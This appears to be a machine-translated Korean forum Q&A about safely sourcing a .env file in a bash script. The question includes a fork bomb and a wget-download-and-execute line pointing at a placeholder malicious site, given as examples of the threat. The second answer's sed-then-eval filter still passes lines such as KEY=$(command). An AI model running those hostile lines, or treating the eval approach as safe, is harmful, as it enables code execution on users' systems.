![명령줄 인수가 주어지면 .env 파일을 안전하게 로드하는 방법은 무엇입니까?](https://linux55.com/image/215249/%EB%AA%85%EB%A0%B9%EC%A4%84%20%EC%9D%B8%EC%88%98%EA%B0%80%20%EC%A3%BC%EC%96%B4%EC%A7%80%EB%A9%B4%20.env%20%ED%8C%8C%EC%9D%BC%EC%9D%84%20%EC%95%88%EC%A0%84%ED%95%98%EA%B2%8C%20%EB%A1%9C%EB%93%9C%ED%95%98%EB%8A%94%20%EB%B0%A9%EB%B2%95%EC%9D%80%20%EB%AC%B4%EC%97%87%EC%9E%85%EB%8B%88%EA%B9%8C%3F.png)
다음 스크립트가 있습니다.
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
source $ENV_FILE
보시다시피 스크립트 사용자는 .env
환경 변수를 포함해야 하는 파일을 제공합니다. 환경 변수가 포함된 파일의 경로를 포함합니다 $ENV_FILE
..env
내 스크립트의 경우 .env
파일에는 다음과 같은 키 쌍 값이 포함되어야 합니다.
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
그러나 위의 코드에서는 source
환경 변수에 대해 임의의 텍스트 파일을 제공하는 것만으로는 좋지 않은 생각처럼 보입니다.
예를 들어, .env 파일이 다음과 같은 경우:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
:(){ :|: & };:
또는 다음과 같은 내용이 포함된 경우:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware
보시다시피, 이 source
명령은 단순히 .env 파일을 bash 스크립트로 로드합니다. 따라서 예상되는 환경변수 할당량을 초과하는 악성코드가 포함될 수 있습니다.
그렇다면 파일에 쌍만 포함되어 있는지 어떻게 확인할 수 있나요 KEY=VALUE
?
답변1
입력을 삭제하는 한 가지 방법은 다음과 같습니다.
#!/usr/bin/env bash
### Your previous code here ###
env_file=$1
if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
or die "Suspicious line $_"' "$env_file"
then
msg="suspicious source file detected from $env_file"
logger -t $0 "$msg"
mail -s "$0 $msg" [email protected] < "$env_file"
exit 1
else
. "$env_file"
fi
그러면 다음 변경만 허용됩니다.
key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...
정규식 일치는 다음과 같습니다.
마디 | 설명하다 |
---|---|
^ |
문자열의 시작 |
\w+ |
단어 문자(az, AZ, 0-9, _)(1회 이상(최대한 많이 일치)) |
= |
= |
[\047\042\w\s\.-]+ |
모든 문자: '\047', '\042', 단어 문자(az, AZ, 0-9, _), 공백(\n, \r, \t, \f 및 " "), '.', ' -' (1회 이상(최대한 많이 일치)) |
\s* |
공백(\n, \r, \t, \f 및 " ")(0회 이상(최대한 일치)) |
$ |
선택적 \n 앞과 문자열 끝 |
| |
또는 |
^ |
문자열의 시작 |
\s* |
공백(\n, \r, \t, \f 및 " ")(0회 이상(최대한 일치)) |
$ |
선택적 \n 앞과 문자열 끝 |
답변2
내 생각에는 더 나은 접근 방식은 다음과 같습니다. https://askubuntu.com/a/886884
환경 변수를 제공하기 위해 일반적인 sed 및 eval을 사용합니다.
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT
eval이 지원되지 않는 경우:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane
source $ENV_FILE.sane